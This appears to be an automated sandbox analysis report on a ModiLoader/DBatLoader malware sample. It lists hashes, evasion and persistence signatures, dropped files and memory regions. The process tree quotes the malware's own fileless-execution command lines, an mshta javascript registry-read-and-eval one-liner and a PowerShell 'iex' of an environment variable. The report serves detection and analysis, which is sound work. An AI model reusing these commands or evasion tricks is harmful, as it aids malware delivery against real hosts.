Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2024, 14:37

General

  • Target

    fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe

  • Size

    359KB

  • MD5

    fa959b76f73f5951b7ad1f0eb23ee287

  • SHA1

    ea95bcc3e3868706cd06cff1a32535c3a308c600

  • SHA256

    fcd1f19f66313fca32cad8c96d10ff735a129a52914eed8d039be4ffa05273f9

  • SHA512

    74c2815c9e59e03c3a0944c0f564d259bc418660a8ecf9ad1dea102a067bbfb2e1903194aa14f027e94f97abb8482061109e498f534ecc48a1cb502f046bdf90

  • SSDEEP

    6144:eYSn9YgJHXTEpUtV0V0YuXYad7kOKdrM7JbfQtv3EYe8+PV46jn/jg:F7gNXTOK1d7kOKdKfQtv0nVbjbg

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 55 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1892
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:XKuTq1E="D3";ef79=new%20ActiveXObject("WScript.Shell");I7ep0lSmT="pruJa";los1d7=ef79.RegRead("HKCU\\software\\LvXPIOvgH\\wj9Cgra");pHV4dAuA="2PvDxS4";eval(los1d7);O8Q7Gyqf="6f";
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:pjav
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:268

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\44e1594\289e921.1f507c30

    Filesize

    36KB

    MD5

    69b4e83def802b192e3fc2001802e7cc

    SHA1

    782313f53f4b15849add08db1ef46bdbb32951e0

    SHA256

    4486b1f7bd8ab8f19f4c54682041ac38046fdb2aad7c59a76416a3b7f6115515

    SHA512

    8fedd0affd136556d5535d2b9e69092b474b89702146f79625f500d5d7b49c4bfef19db55f537fa091bbdf11eba79fecd658eb0c694a1ebc504ff2708a6cb320

  • C:\Users\Admin\AppData\Local\44e1594\b465ea0.bat

    Filesize

    74B

    MD5

    19d2d331c8c790c11eb364fc3ee6c925

    SHA1

    a5944b2ad78c0282760679daa70a1ff83992adf9

    SHA256

    e6b73f60e0c0e233a1fcd501cac1526d2d2e25346cc1ab19aeb415b250c8ad8a

    SHA512

    694a0813d4136f2053d07d70a80d367964ba46187c0072c2e152661ace5cb1a04f46b7c71864d7ddca14ab552558a9a25a87de627fa11b37a199f3eb89df1b86

  • memory/268-71-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-67-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-56-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-68-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-74-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-73-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-72-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-66-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-65-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-70-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-69-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-64-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/1892-4-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-12-0x0000000000458000-0x000000000045A000-memory.dmp

    Filesize

    8KB

  • memory/1892-5-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-1-0x0000000000400000-0x0000000000461F20-memory.dmp

    Filesize

    391KB

  • memory/1892-0-0x0000000000458000-0x000000000045A000-memory.dmp

    Filesize

    8KB

  • memory/1892-9-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-8-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-7-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-58-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-2-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-3-0x0000000000400000-0x0000000000461F20-memory.dmp

    Filesize

    391KB

  • memory/1948-36-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-22-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-39-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-38-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-37-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-41-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-35-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-33-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-31-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-30-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-29-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-28-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-27-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-26-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-42-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-24-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-23-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-40-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-21-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-25-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-20-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-48-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-49-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-50-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-51-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-52-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-53-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-47-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-34-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-32-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-16-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-19-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2060-18-0x0000000005820000-0x00000000058FC000-memory.dmp

    Filesize

    880KB

  • memory/2060-15-0x0000000005820000-0x00000000058FC000-memory.dmp

    Filesize

    880KB

  • memory/2060-14-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

    Filesize

    4KB